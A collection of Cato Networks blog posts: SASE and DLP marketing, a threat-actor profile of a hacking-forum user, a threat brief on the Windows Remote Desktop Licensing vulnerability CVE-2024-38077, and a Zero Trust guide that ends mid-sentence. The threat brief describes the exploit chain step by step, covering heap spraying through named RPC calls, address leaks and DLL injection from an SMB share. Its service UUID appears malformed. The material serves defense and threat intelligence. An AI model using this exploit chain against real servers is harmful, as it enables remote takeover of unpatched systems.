The Imperative of Data Loss Prevention in the AI-Driven Enterprise As organizations increasingly integrate artificial intelligence (AI) into their operations, the nature of data security is undergoing significant transformation. With AI's ability to process vast amounts of data quickly, the risk of data breaches and leaks has grown exponentially. In this context, Data Loss Prevention (DLP) has (re)emerged as a critical component for IT professionals seeking to safeguard sensitive information. DLP is no longer a "nice-to-have" feature; it's an essential part of any comprehensive security strategy, especially in an AI-driven world.
DLP is Essential in the Age of AI
AI systems thrive on data—structured and unstructured, internal and external—making them invaluable assets but also prime targets for data breaches. Traditional security measures often fall short in this landscape, as they are not designed to handle the dynamic, large-scale data flows that AI systems generate and rely upon. This is where DLP comes into play. DLP solutions help identify, monitor, and protect sensitive data from unauthorized access or leaks, whether at rest, in motion, or in use.
But why is DLP so critical now? The answer lies in the very nature of AI systems. AI requires continuous access to high-quality data to function optimally. This data often includes proprietary information, personal data, and other sensitive materials that, if exposed, could lead to severe financial and reputational damage. For IT professionals, the challenge is not just to protect this data but to do so in a way that doesn't hamper the operational efficiency of AI systems.
The primary value of DLP in the AI era is its ability to provide comprehensive data protection without compromising the performance of AI-driven processes. Modern DLP solutions are designed to integrate seamlessly with AI systems, offering real-time monitoring and protection. For example, a DLP solution can automatically classify data based on sensitivity tags and apply relevant security measures as needed, all while allowing AI systems to access the data they require to function.
This level of integration is crucial for organizations that rely heavily on AI for decision-making, customer service, or product development. With a robust DLP solution, IT professionals can ensure that their AI systems are both secure and effective, maintaining the integrity of sensitive data without slowing down business processes.

How DLP Works with AI
From a technical standpoint, implementing DLP in an AI-driven environment involves several key components:
1. Data Classification and Discovery: DLP solutions use AI and machine learning to automatically discover and classify sensitive data across an organization’s network. This capability ensures that even newly generated data, such as that produced by AI systems, is promptly identified and protected.
2. Policy Enforcement: DLP allows IT teams to enforce data security policies consistently across the organization. This includes specifying what types of data can be accessed by AI systems, under what conditions, and by whom. These policies can be fine-tuned to balance security needs with operational requirements.
3. Monitoring and Alerts: DLP systems provide continuous monitoring of data usage, with alerts for any suspicious activity. This proactive approach is essential in AI environments where data flows are complex and can easily be exploited if not properly monitored.
4. Integration with Existing Security Frameworks: DLP solutions are mostly effective when integrated, or better- converged, with other security tools, such as firewalls, intrusion detection systems, and CASB. This ensures a unified approach to data security, where DLP serves as a critical layer in a broader, multi-faceted defence strategy.
A Non-Negotiable Defence Strategy
In the era of AI, DLP is not just a tool but a critical defence strategy that IT professionals must adopt to safeguard their organizations. The integration of DLP with AI systems offers a powerful combination that protects sensitive data while enabling the full potential of AI. As AI continues to evolve and become more deeply embedded in business processes, the importance of DLP will only grow, making it a non-negotiable element of any modern security strategy.
For IT leaders, the time to act is now. By implementing a robust DLP strategy, you can protect your organization’s most valuable asset—its data—while still leveraging the transformative power of AI.
If your enterprise has deployed a Single-vendor SASE platform, or is about to – enabling DLP is just a few clicks away. With the complexities of the digital age, adopting a true SASE platform is a strategic move that can provide a competitive edge, enabling them to innovate faster, secure their networks, and ultimately, deliver better experiences to their customers.

The Retail Industry’s Need for a True SASE Platform In today's rapidly evolving retail landscape, where digital transformation is no longer a choice but a necessity, the importance of a robust and agile network and security infrastructure cannot be overstated. Retailers face a multitude of challenges, from managing vast networks across geographically dispersed locations to safeguarding sensitive customer data in an increasingly complex threat environment. The traditional approach to network and security management, with its disparate solutions and siloed operations, is proving inadequate. Enter SASE (Secure Access Service Edge), a revolutionary architecture that converges networking and security into a single, cloud-native platform. For retailers looking to stay ahead of the curve, adopting a true SASE platform is not just advantageous—it's essential.
The Value of True SASE for Retail IT Professionals
For IT professionals in the retail sector, the value of a true SASE platform lies in its ability to simplify network management, enhance security, and ensure seamless connectivity across all retail locations, from flagship stores to pop-up shops. Unlike traditional models, a true SASE solution provides a unified platform that integrates security and networking into a single-pass architecture. This integration is critical for retailers, who must manage both the flow of sensitive customer data and the operational needs of their distributed networks.
One of the primary benefits of SASE is the elimination of the complex, costly, and rigid hardware-based solutions that have traditionally been used in retail networks. Instead of relying on multiple appliances and fragmented services, SASE offers a cloud-native approach, enabling IT teams to manage their entire network through a single pane of glass. This not only reduces operational overhead but also significantly improves agility, allowing retailers to scale their networks up or down in response to seasonal demands or changing market conditions.
From a security standpoint, true SASE platforms provide end-to-end security, threat detection, and prevention across all network traffic, regardless of the store’s location. For retailers, this means a consistent security posture across all stores, warehouses, and online operations, safeguarding both customer information and corporate data from sophisticated cyber threats. Additionally, with built-in threat intelligence and real-time monitoring, SASE helps IT teams identify and respond to threats faster, reducing the risk of data breaches and ensuring compliance with industry regulations.
More specifically, a true SASE platforms enables seamless operation of existing retail applications and systems. Whether it's connecting point-of-sale systems, inventory management tools, or customer relationship management software, SASE ensures that all data flows securely and reliably across the network. This is particularly beneficial in the retail sector, where downtime or network latency can directly impact sales and customer satisfaction.

Want an Example? Sure
To illustrate the practical benefits of SASE for retailers, consider a scenario where a retailer needs to rapidly deploy new stores or pop-up locations. With a traditional network setup, this would involve significant time and investment in configuring hardware, establishing VPN connections, and ensuring security measures are in place. However, with a true SASE platform, new locations can be brought online quickly and securely, using a lightweight SD-WAN edge device and a centralized cloud management that automates most of the process.
Another example is the challenge of managing security across a distributed retail network. In a traditional setup, each location might have its own firewalls and security stack, leading to inconsistencies and potential vulnerabilities. A SASE platform, on the other hand, delivers a consistent security framework across all locations, with centralized control and automated updates that ensure the entire network is always protected against the latest threats.
Finally, SASE's ability to provide a seamless and secure connection for remote workers is invaluable in the retail sector, where employees increasingly need to access the network from various locations, whether for managing inventory, customer data, or conducting virtual meetings. SASE ensures that these connections are not only secure but also optimized for performance, enhancing productivity and reducing the risk of cyberattacks.
Retail and SASE Are a Power Couple
The future of retail lies in embracing technologies that not only enhance operational efficiency but also provide robust security in an increasingly digital world. True SASE platforms offer retailers a powerful solution to these challenges, combining the flexibility and scalability of the cloud with integrated security that is critical for protecting sensitive data. As retailers continue to navigate the complexities of the digital age, adopting a true SASE platform is a strategic move that can provide a competitive edge, enabling them to innovate faster, secure their networks, and ultimately, deliver better experiences to their customers.

How to Build a RACI Matrix for Single-Vendor SASE Success Selecting the right SASE (Secure Access Service Edge) vendor requires a solid project management tool that fosters collaboration between network and IT security teams. This collaboration, or team unity, will ensure alignment with an organization’s strategic goals while leveraging the respective expertise of stakeholders. Consequently, the selected SASE solution will meet network design, configuration, and security needs – essential for project success.
In this blog post we introduce the use of a RACI matrix for single-vendor SASE selection. It’s a simple but straightforward project management tool you can use during your vendor evaluation and selection process.
You’ll find more details and examples in the eBook “RACI for SASE Success: Optimizing Single-Vendor SASE Selection,” that this blog post is based on.
The Value of Unifying Network and Security Teams
According to a recent Cato Networks SASE Adoption survey, an increasing number of organizations are understanding the value of unifying network and IT security teams. Shared insights and knowledge lead to more robust and secure IT infrastructures, and better business outcomes.
Effective network and IT security team collaboration during SASE vendor selection is valuable as well. It ensures the right SASE solution is chosen, and will be the foundation for SASE implementation and Day-2 operations.
Which Type of SASE to Choose?
There are three main recognized SASE architectures: Single-Vendor, Multi-Vendor, and Managed. Each offers distinct features and benefits, and fit different needs and priorities.
Single-Vendor SASE – One vendor delivers both networking and security in a single, converged, cloud-native service.
Multi-Vendor SASE – Two vendors (usually) provide all SASE functionalities, one vendor for network, and one for security.
Managed SASE - Multiple SD-WAN and security vendors are connected via API with an overlaying monitoring console
According to Gartner, by 2025, single-vendor SASE will contribute to one third of all new SASE deployments. By 2026, 60% of new SD-WAN purchases will be part of a single-vendor SASE offering, up from 15% in 2023.
The Case for Single-Vendor SASE
SASE enables 360-degree digital transformation. But not all SASE is the same. Single-vendor SASE is a strategic commitment that views network security as part of the organization’s growth and success. The unified architecture also aligns with the unification of network and IT security teams, supporting both functions’ goals, and simplifying the vendor selection process. This simplicity makes it an attractive option for organizations looking to future-proof their network security.
Multi-vendor SASE, on the other hand, is a tactical solution that may meet immediate needs, but with two or more vendors in the mix, could add across-the-board complexity to the vendor selection process.

What is a RACI Matrix?
Collaboration and unity across network and IT security teams, together with other business stakeholders, are key in the decision-making process and success of SASE. This is where the RACI matrix can help. A RACI matrix is usually presented as a chart or table, and defines roles and responsibilities for project execution, encouraging awareness and alignment from the get-go.
Each stakeholder is appointed a role - Responsible, Accountable, Consulted, Informed, and progress is tracked in the matrix. See examples of RACI matrices in the eBook, here.
The Benefits of RACI for Evaluating SASE
Choosing RACI as your project management framework has multiple advantages:
Planning - You can be sure resources are allocated and stakeholders are engaged
Transparency - Clearly defining roles and responsibilities will prevent confusion and friction
Communication - Everyone is on the same page and knows what and how to communicate with who
Gap identification - RACI ensures all tasks are covered and nothing remains overlooked
Scalability - You can adjust and adapt the matrix as priorities and needs change
Productivity - RACI focuses stakeholders on their responsibilities
What Now?
If you’re ready to move from theory to practice in building a RACI for your SASE vendor selection project, this eBook offers an easy-to-follow guide with ready-built project templates. It’s designed to support unification of network and IT security teams, along with other key stakeholders.

Riding the Wave: Why Channel Partners Can’t Afford to Ignore the SASE Surge In the ever-evolving landscape of IT services, channel partners like solution integrators, service providers, managed service providers (MSPs), and telecommunications companies have long played a crucial role in delivering enterprise networking and security solutions. However, a subtle yet powerful shift is emerging that threatens to disrupt this status quo. Single-vendor SASE (Secure Access Service Edge) solutions are rapidly gaining traction and quietly reshaping the competitive landscape.
While some channel partners might dismiss this as just another industry trend, history has shown us that undercurrents like these can quickly evolve into formidable forces that demand attention. It seems the question is no longer if channel partners will need to adapt, but when.
The Rise of Single-Vendor SASE: A Challenge to Traditional Channel Models
SASE, a term coined by Gartner in 2019, represents the convergence of networking and security functions into a unified, cloud-native service. By integrating SD-WAN, security, and remote access into a single solution, SASE simplifies the IT stack, reduces costs, and improves security postures for enterprises. Single-vendor SASE providers like Cato Networks are leading this charge, offering a fully integrated platform that is managed from the cloud and delivered as a service.
For channel partners, this presents both a challenge and an opportunity. Traditionally, these partners have operated by stitching together multiple point solutions from different vendors to create comprehensive offerings for their customers. This approach has often been complex, resource-intensive, and prone to integration issues. In contrast, single-vendor SASE solutions offer a more streamlined, efficient, and scalable alternative.
Cato Networks, for instance, provides a complete SASE platform that converges all critical networking and security functions into a single, easy-to-manage service. This model not only reduces operational overhead for enterprises but also offers partners a simpler, more predictable solution to sell. As more enterprises recognize the value of SASE and begin to demand these solutions, partners who continue to rely on traditional, multi-vendor approaches may find themselves at a competitive disadvantage.
[boxlink link="https://www.catonetworks.com/resources/gartner-magic-quadrant-for-single-vendor-sase-2024/"] Cato Networks named a Leader in the 2024 Gartner® Magic Quadrant™ for Single-Vendor SASE | Get the Report![/boxlink]
The Undercurrent Becomes a Wave
The rapid adoption of single-vendor SASE solutions is not merely an undercurrent; it is fast becoming a wave that will redefine the channel landscape. Cato’s recent achievement of a $200 million ARR milestone is a clear indicator that the market is embracing this model at scale. The appeal of a Single-vendor SASE approach lies in its ability to deliver consistent performance, enhanced security, and simplified management—all critical factors in today’s digital-first world.
However, for channel partners entrenched in traditional models, this shift can seem daunting. The transition from a multi-vendor to a single-vendor strategy requires not just a change in mindset but also a re-evaluation of existing business models, vendor relationships, and customer engagement strategies. Yet, those who are willing to make this shift stand to benefit significantly. Partners who align themselves with leading single-vendor SASE providers can leverage their comprehensive solutions to offer more value to their customers while also streamlining their own operations.
Adapt or Be Left Behind
Ignoring this shift could prove costly. As the market continues to evolve, enterprises will increasingly gravitate towards solutions that offer greater simplicity, security, and efficiency. Channel partners that fail to embrace the Single-vendor SASE model risk losing relevance as their customers seek out more innovative and agile providers.
The good news is that the path forward is clear. By partnering with recognized Single-vendor SASE market leaders, channel partners can not only stay competitive but also position themselves as leaders in the next generation of IT service delivery. The success of Cato Networks serves as a compelling case study in how rapidly this change is occurring and underscores the importance of not underestimating the potential of this market shift.
Conclusion: Seizing the SASE Opportunity
In the world of cyber security and IT services, ignoring an emerging trend can be perilous, especially when that trend begins to gain undeniable momentum. The rise of Single-vendor SASE solutions is not just a fleeting trend; it is a fundamental shift in how networking and security are delivered to enterprises. Those who recognize the significance of this shift and adapt accordingly will be well-positioned to thrive in the new landscape. The time to act is now—before the undercurrent becomes an unstoppable wave.

###
Below are several examples of posts from Yashechka in XSS that would be deemed malicious.
Figure 2. Yashechka post: How to write an encryptor?
Explanation of malicious intent:
Promotion of Malware Development: Yashechka provides links to repositories that contain source code for ransomware. This encourages and facilitates the creation and distribution of malware. Sharing malware source code can help others learn how to build and possibly deploy ransomware, which is highly illegal and potentially catastrophic for organizations.
Encouragement of Illegal Activities: By directing the original poster and others to sources where they can find detailed malware code, Yashechka is promoting illegal activities. Developing, distributing or using ransomware to attack systems and encrypt data for ransom is a criminal act in many jurisdictions.
Potential Damage: The spread of ransomware has significant repercussions. It can lead to financial losses, operational downtime, reputational damage and the loss of sensitive data. Encouraging the creation of such tools contributes to cybercrime.
Ethical Concerns: From an ethical standpoint, providing resources and knowledge on how to engage in cyberattacks lowers the ethical standards within the cybersecurity tech community.
It's evident based on Yashechka's response that he poses a significant threat to organizations and systems. His proficiency in malware types makes him a legitimate threat to organizations that could potentially become targets of an attack.
Figure 3. Yashechka post: Why doesn’t the simple stealer report data?
Explanation of malicious intent:
Distribution of Malware Source Code: Yashechka includes a link to download a "simple stealer" from a known repository of malware source code. Information stealers are a type of malware designed to harvest sensitive data such as passwords, credit card details and other personal information from infected systems.
Technical Support for Malware Deployment: Yashechka is seeking assistance to make the malware operational, specifically wanting to understand why the data harvested by the malware isn’t appearing in the control panel. This suggests an attempt to activate and possibly deploy the information stealer malware.
Promotion of Malicious Activities: By asking for assistance in troubleshooting malware, Yashechka is encouraging others to engage in malicious activities.
Ethical and Legal Implications: Discussing and sharing methods for the effective deployment of malware violates ethical standards, in addition to legal regulations against the creation and distribution of malicious software.
The nature of this post highlights clear intention towards developing and utilizing tools that are inherently designed to perform unauthorized extraction of data, thus posing a significant threat to digital safety and privacy.
Figure 4. Yashechka post: The use of a Windows CVE checker
The post mentions a "Windows CVE checker," which is a tool designed to identify vulnerabilities in Windows systems cataloged under the Common Vulnerabilities and Exposures (CVE) system. CVE is a list of publicly disclosed security flaws. When someone refers to a CVE checker, they're generally referring to software that scans for known vulnerabilities to help admins secure their systems against known exploits.
Explanation of malicious intent:
Legitimate Use: In a benign scenario, a CVE checker like this could be used by system admins or security professionals to detect and patch vulnerabilities in their systems.
Malicious Use: Alternatively, such a tool could be used by attackers or malicious users to identify vulnerabilities in a target’s system, which they can be further exploited. The context of the post raises concerns and red flags that it might be intended for or promoted within a community interested in exploiting these vulnerabilities rather than mitigating them.
The specific mention of a GitHub repository suggests that the tool (or at least the code) is publicly accessible, which could potentially allow both security professionals and cybercriminals to access and utilize the tool. The reference to "GitHub - BC-SECURITY/Moriarty" suggests that the tool might be part of a larger suite of security tools, or a project dedicated to vulnerability scanning.
Additionally, the post mentions an initiative to translate official documentation for "CS 4.3," which might refer to a software or tool version, indicating that the community is involved in deeper technical engagements possibly around security tools or software development.
Given this information, the threat level of such a post would largely depend on the audience and the purpose of the tool’s application. If the audience includes cybercriminals, the existence of such a tool in the public domain further heightens the risk of exploitation of unprotected systems that are vulnerable to known CVEs.
Figures 5-9. Yashechka posts: Attacks on EDR solutions
Explanation of malicious intent:
EDR Solutions: These are security tools designed to detect, investigate and respond to threats on host computers and networks. They are critical for modern cybersecurity defenses. Research into bypassing or exploiting EDR solutions can be used maliciously to undermine these defenses.
Vulnerability Exploitation: Yashechka’s posts outline practical research into exploiting vulnerabilities in EDR solutions. This includes bypass techniques that cybercriminals could potentially use to evade detection while carrying out malicious activities.
Black Box Analysis: The approach described involves black box analysis—testing the systems without access to the source code or architecture. This is a common practice in both legitimate security research and malicious hacking attempts. This type of analysis can uncover vulnerabilities that might be exploited by attackers to disable or bypass EDR solutions.
Collaboration with Vendor: While the vendor collaboration for a controlled testing environment is a positive aspect, it also indicates that certain vulnerabilities might have been found and potentially exploited during the research. If such vulnerabilities were disclosed improperly or not efficiently mitigated, they could pose serious risks to all users of the affected EDR solution.
Ethical and Legal Implications Risks: Yashechka treads a fine line between ethical security concerns and activities that might be construed as unauthorized or illegal hacking, depending on the methods used.
In summary, the overall threat lies in the potential misuse of discovered vulnerabilities by attackers before vendors can quickly identify and address them.
Additionally, the detailed publication of exploited techniques without proper context or security measures can be leveraged by threat actors with malicious intent.
Conclusion
If Yashechka continues his active involvement across a wide variety of hacking forums and communities, organizations will have to ramp up their security measures beyond traditional EDRs. While Yashechka has been profiled within this blog, there are many others potentially actively carrying out attacks that might leverage Yashechka's vast expertise to bypass or exploit EDR solutions and other point products for malicious intent or financial gain

Cato CTRL Threat Brief: CVE-2024-38077 – Windows Remote Desktop Licensing Service RCE Vulnerability (“MadLicense“) Executive Summary
Recently, security researchers published a proof of concept (PoC) for a critical remote code execution (RCE) vulnerability in Windows Server (CVSS score 9.8), ranging all the way from Windows Server 2000 up to 2025. The vulnerable component is the Remote Desktop Licensing service, often deployed and enabled on Windows Servers using Remote Desktop Services.
The exploit is a 0-click pre-auth exploitation, meaning no user interaction or authentication details are necessary. This is an extremely high-risk exploit, especially for internet-connected servers running the impacted Licensing Service component, which the researchers have determined there are at least 170,000 instances.
The Remote Desktop Licensing (RDL) Service is a crucial component of Windows Server that manages the licensing for Remote Desktop Services (RDS), which allows users to remotely access desktops and applications hosted on a server. The RDL Service ensures that each user or device that connects to a remote desktop session has a valid Remote Desktop Client Access License (RDS CAL).
Cato-deployed intrusion prevention system (IPS) signatures in the Cato SASE Cloud Platform block this attack, protecting all Cato-connected edges – sites, remote users, and cloud resources.

Technical Overview
This attack involves a sophisticated method to inject a malicious DLL into a victim's machine by exploiting several critical memory addresses and manipulating Remote Procedure Call (RPC) functions. The key addresses targeted in this attack are:
Heap Address Base: Manages and manipulates dynamic memory allocations within the heap memory.
NT DLL Base: The base address of ntdll.dll is a vital system library containing essential system functions and kernel-mode routines.
PEB Base (Process Environment Block): Provides information about the process’s memory layout and loaded modules.
PE Base (Process Environment): The base address of the process's executable image in memory, used for locating and interacting with the executable's code.
Rpcrt4 Base: The base address of rpcrt4.dll, which supports inter-process communication through RPCs.
Kernel Base: The base address of the Windows kernel is critical for performing low-level system operations and accessing system functions.
Figure 1: Example of an attacker leaking each structure's address base, with every new address building upon the previous one using the same spraying techniques
Exploiting Memory: Manipulating Base Values Through Intensive Memory Spam
In this phase, the attack maps the Remote Desktop Service - Remote Desktop Licensing (RDS-RDL, UUID: 83d267954-eeb7-11d1-b94e-00c04fa300d) service from the victim’s machine to the attacker to spam the system's memory aggressively. The key is to manipulate these critical address bases:
Heap Fragmentation: The attacker starts by spraying the low-fragmentation heap (LFH) by sending 1,000 to 2,000 TLSRpcRegisterLicenseKeyPack requests (opnum 38). LFH helps optimize memory management but is exploited to introduce vulnerabilities in this context.
Creating RPC Connections: Around 3,000 TlsRpcConnection requests (opnum 1) are made to establish RPC connections in memory. These connections are partially released using multiple TLSRpcDisconnect requests (opnum 2), strategically creating memory gaps for exploitation.
Triggering the Exploit: A single TLSRpcGetServerName request (opnum 4) may be made after the TLSRpcTelephoneRegisterLKP request (opnum 49), which triggers a buffer overflow. This overflow allows the attacker to craft a fake object with specific parameters to exploit the memory layout.
Memory Manipulation Loop: The attacker repeatedly sends TLSRpcTelephoneRegisterLKP (opnum 49) requests, manipulating the system's memory. During this loop, additional requests like TLSRpcRequestTermServCert and TLSRpcRetrieveTermServCert (opnum 34 and 35) are used to manipulate certificate handling within the memory.
Heap Leak Analysis: After each request, the attacker checks the certificate data returned by TLSRpcRetrieveTermServCert. If the expected data ("n\x00c\x00a\x00c\x00n\x00") is missing, the attacker uses the heap leak information to calculate the necessary memory base addresses for further exploitation.
DLL Injection via Remote SMB Share: Attack Chain Execution
In the final phase of the attack, the attacker injects a malicious Dynamic Link Libraries (DLL) file using a remote Service Message Block (SMB) shared folder:
Constructing and Positioning Memory: The attack begins with assembling a fake object using TLSRpcRegisterLicenseKeyPack (opnum 38) to position critical memory locations, such as the heap base and DLL path.
Memory Spraying and Handle Management: Memory is sprayed with LFH chunks, and handles are strategically created and freed to manipulate the memory layout further.
DLL Path Specification: The attacker sends a TLSRpcTelephoneRegisterLKP request (opnum 49), providing the address of the fake object that specifies the path to the malicious DLL located on the SMB share.
Triggering the DLL Injection: The attack chain continues with repeated handle interactions through the TLSRpcKeyPackEnumNext request (opnum 13), which ultimately triggers the DLL injection into the target process.
Verification: The final step involves checking if the malicious DLL has been successfully injected and executed within the target process, confirming the success of the attack.
Figure 2: After gaining all the vital information, an attacker is ready to get and trigger the DLL file
Conclusion
From our data, Cato CTRL has not witnessed any exploitation attempts on Cato customers. But given the very broad scope of impacted Windows Server versions and the relative ease of leveraging the PoC code to create a working exploitation, we expect these attempts to increase over time. Nevertheless, as always it is recommended that all Windows Servers be patched with the latest security updates to stay protected.

Today, we published the Q2 2024 Cato CTRL SASE Threat Report, which summarizes findings from Cato CTRL’s analysis of 1.38 trillion network flows across more than 2,500 customers globally between April and June 2024.
Key Findings
IntelBroker is a highly active threat actor selling data and source code
In its investigation of hacking communities and the dark web, Cato CTRL came across a threat actor named IntelBroker, who is a prominent figure and moderator in the BreachForums hacking community.
IntelBroker’s illicit activities encompass a wide range of cybercriminal tactics. In recent months, IntelBroker has offered to sell data and source code from AMD, Apple, Facebook, KrypC, Microsoft, Space-Eyes, T-Mobile and U.S. Army Aviation and Missile Command.
Amazon is the top spoofed brand—thanks to cybersquatting
Cybersquatting involves using a domain name with the intent to profit off another brand's registered trademark. Threat actors leverage cybersquatting to harvest user credentials through various techniques, including malware distribution or phishing attacks.
In Q2 2024, Cato CTRL observed that Amazon was the top spoofed brand by a significant margin (66% of domains), with Google ranked second at 7%. Given the popularity of Amazon, users should be wary of threat actors creating counterfeit websites that ask to submit sensitive information. Users could be putting themselves or their organizations at risk.

Log4j remains a popular vulnerability that threat actors attempt to exploit
Three years after its discovery in 2021, Log4j remains one of the most used vulnerabilities leveraged by threat actors. From Q1 2024 to Q2 2024, Cato CTRL observed a 61% increase in the attempted use of Log4j in inbound traffic and a 79% increase in the attempted use of Log4j in WANbound traffic.
The Oracle WebLogic vulnerability, which originated in 2020, is another popular exploit leveraged by threat actors. From Q1 2024 to Q2 2024, Cato CTRL observed a 114% increase in the attempted use of the Oracle WebLogic vulnerability in WANbound traffic.
Inbound traffic is traffic that doesn't originate from within the network, while WANbound traffic resides within a WAN environment. For threat actors, these are different potential entry points to infiltrate organizations and conduct attacks.
Security Best Practices
Based on our key findings, Cato CTRL recommends that organizations take the following actions:
Implement Continuous Threat Intelligence Monitoring
Set up a system to monitor dark web forums and marketplaces for any mention of your company's data or credentials being sold.
Educate Yourself on the Perils of Cybersquatting
Incorporate cybersquatting tools and techniques for detecting phishing and other attacks that use this method for nefarious purposes.
Prioritize Patching of Highly Exploited Vulnerabilities
Implement a proactive patching schedule for critical vulnerabilities, especially those actively exploited (ex: Log4j).
Use vulnerability prioritization tools to focus on the most critical and actively exploited vulnerabilities first.

A CISO’s Guide: Avoiding the Common Pitfalls of Zero Trust Deployments The Role of the CISO Post-Pandemic
The world has evolved and the on-going momentum of Cloud and Work-From-Anywhere (WFA) has become unstoppable. CISOs have realized their traditional security architectures, specifically VPNs, are no longer adequate to ensure only authorized users have access to critical resources.
This has made the role of CISO ever more important because we now have applications everywhere and people everywhere, leading to increased cyber threats everywhere. CISOs have an unenviable mandate: master the IT Security game to effectively map out the company’s security priorities and strategy. They must flawlessly execute on this to ensure the strongest possible security posture to protect access to critical data.
Zero Trust Is Just a Starting Point
Zero Trust has been around for more than a decade and is now top-of-mind for all CISOs. Zero Trust mandates that access to all critical corporate data be authenticated, authorized and validated before granting or maintaining access. In short, Zero Trust is a framework for building holistic security for the modern digital. Considering the attack surface continues to expand, Zero Trust is uniquely equipped to address the modern digital business architecture: WFA workers, supply chains, hybrid cloud, and evolving threats.
It must be noted that Zero Trust is not a single product solution, and CISOs would be well advised to consult the three main standards (Forrester ZTX, Gartner Carta, NIST SP-800-207) as guidance for developing their Zero Trust strategy. Of the three, NIST SP-800-207 as pictured below, is the most widely adopted framework.
Figure 1.
The NIST model is a discussion of 2 key functions:
Data plane – this is the collector of data from numerous sources. These sources can be application data, user device information, user identity information, etc.
Control plane – this is the brains of the model as this is responsible for making decisions upon what is considered good, bad, or requiring further clarification.
Together, they collaborate to determine whether to grant or deny access to critical business resources. For this to be viable, effective, and scalable, context must inform decisions to be made around access and security. As each business varies in its data flows and security concerns, this context consists of numerous data feeds, as depicted in figure 1. This includes compliance data, log data, threat intelligence feeds and user and application data captured across the network. The more context you have, the better decisions your Zero Trust deployment will make.
The 5 Most Common Pitfalls in Zero Trust Projects
Zero Trust is often misunderstood, potentially resulting in misaligned strategies that don’t meet the organization’s needs. Gartner defines Zero Trust as a ‘mindset that defines key security objectives’ while removing implicit trust in IT architectures. This implies that today’s CISOs would be well-advised to pursue their Zero Trust strategy thoughtfully, to ensure they avoid common pitfalls that impede most security initiatives.
Pitfall 1: Failing to Apply the Key Tenants of Zero Trust
Zero Trust came to life as a resolution for overly permissive access rights that created broad security risks throughout networks. The concept of implicit deny is perceived as the catch all terminology for a better security architecture, assuming it to be the fix-all for all things security. Considering this, it may be easy for CISOs to inadvertently disregard the core purpose of Zero Trust and overlook some key architectural tenants that influence Zero Trust architectures.
While each Zero Trust framework highlight several architectural attributes, for the purpose of this section, we will highlight a few that we feel should not be overlooked.
Dynamic policy determines access to resources – dynamic polices focus on the behavioral characteristics of both the user and devices when determining whether access will be granted or denied. A subset of these characteristics can include location, device posture, data analytics and usage patterns. For example, is the user in a restricted location, or are user and device credentials being used correctly? Any of these should determine whether access should be granted and at what level.
Continuous monitoring and evaluation – no user or device should blindly be trusted for access to network or application resources. Zero Trust dictates that the state of both the resource and the entity requesting access to be continually monitored and evaluated. Those deemed to be risky should be treated accordingly, whether it is limited access or no access.
Segmentation & Least Privileges – Zero Trust should eliminate blind trust and by extension, blanket access to targeted resources from all employees, contractors, supply chain partners, etc. and from all locations. And when access is granted, only the minimal amount of access required to ensure productivity should be granted. This ensures the damage is limited should there be a breach of some kind.
Context Automation – For Zero Trust to deliver the desired impact, organizations need to collect lot of data and contextualize this. This context is the key as without context, well-informed decisions for user or device access cannot be made. The more context, the better the decisions being made.
Cato SASE Cloud Approach: The Cato SASE Cloud takes a risk-based approach to Zero Trust, combining Client Connectivity & Device Posture capabilities with more holistic threat prevention techniques. Because we have full visibility of all data flows across the network, we utilize this, as well as threat intelligence feeds and user and device behavioral attributes to pre-assess all users and devices prior granting access onto the network. This in-depth level of context allows us to determine their client connectivity criteria and device suitability for network access, as well as continually monitor and assess both the user and device throughout their life on the network. Additionally, we use AI & Machine Learning algorithms to continually scan the network for indications of malware or other advanced threats and will proactively block these threats to minimize the potential damage inflicted upon the network.

Pitfall 2: Treating Zero Trust a Like a Traditional VPN
When deploying Zero Trust, many organizations tend to rely on legacy security processes that are no longer applicable or select the shiny new toy that equates to a less viable solution. In 2021, Gartner noted that some organizations reported initially configuring their Zero Trust deployments to grant full access to all applications, which ironically, mirrored their VPN configuration. One of the intrinsic shortcomings of traditional VPNs, beyond the connectivity issue, is the challenge of least privilege user access to critical applications once a user has been authenticated to the network. Traditional VPNs cannot provide partial or specific access to selected applications or resources. So, deploying Zero Trust like their old VPN leaves us to wonder what problems they are truly solving, if any.
CISOs must remember that existing security architectures are based on the concept of implicit trust, which leads to unknown, yet ever-increasing risk to modern enterprise environments. The goal of Zero Trust is to ensure that users and their devices prove they can be trusted with access to critical resources. Hence, the goal for any CISO in creating a Zero Trust strategy is to reduce the risk posed by users and devices, and in the event of a successful breach, limit the spread and impact of the attack.
Cato SASE Cloud Approach: Cato Networks realizes that existing VPN architectures are too inadequate to provide the depth of access protections for critical enterprise resources. The Cato approach to Zero Trust invokes consistent policy enforcement everywhere to ensures least privilege access to all enterprise & cloud resources, while also taking a holistic approach to preventing cyber threats. We consume terabytes of data across our entire SASE Cloud backbone, and this informs how we apply additional protections once users and devices are on the network.
Pitfall 3: Not understanding the true impact on the user, IT and Security
Unfortunately for many CISOs, IT and Security departments do not always operate with aligned priorities and desired outcomes. IT departments may have critical projects they deem to have a higher priority than Security. Security teams, being tasked with strengthening the organization’s security posture may view Zero Trust as the only priority. In such cases of mis-aligned priorities, Zero Trust efforts may result in incomplete or mis-configured deployments, expanding security gaps and increasing blind spots. And let’s not forget the end user. When IT organizations finally make significant changes to networks, security, or other systems, if priorities aren’t aligned, the end results will produce adverse user outcomes.
When it comes to Zero Trust, CISOs must ensure they are mapping out the journey. In doing so, IT and Security teams should establish a “Hippocratic Oath” of “first, do no harm”. This could make it easier to map the journey to Zero Trust where the solution is simple to deploy, easy to manage, easily scales at the speed of the business, and provides positive outcomes for all parties impacted. Critical to this is the user – Zero Trust must not impede their ability to get things done.
Cato SASE Cloud Approach: At Cato Networks, our entire approach to Zero Trust is to ensure the most holistic user experience with zero impact on productivity. Often when deploying or upgrading to new security technologies, security teams will inadvertently have policy mismatches that result in inconsistent policy enforcement in certain segments of the network. Zero Trust, if not implemented correctly, increases the risk level for negative user experiences, which will reflect poorly upon the CISO and their teams. With the Cato SASE Cloud, Zero Trust & Client Access policies are applied once and enforced everywhere. This ensures specific and consistent policy treatment for all users and devices based upon identity and user and devices access criteria.
"The hallmark of Zero Trust is Simplicity"
John Kindervag
Pitfall 4: Inadequately Scoping Common Use Cases
CISOs are so inundated with everyday security concerns that identifying all possible use cases for their Zero Trust initiative, while seemingly straight-forward, could be easily overlooked. It is easy to drill down into the core requirements of Zero Trust, approaching from a broad enterprise perspective, yet neglect smaller details that might derail their project. While there are numerous use cases and each would depend on the individual organization, this document calls out (3) use cases that, if not properly planned for, will impact all non-HQ based or non-company users.
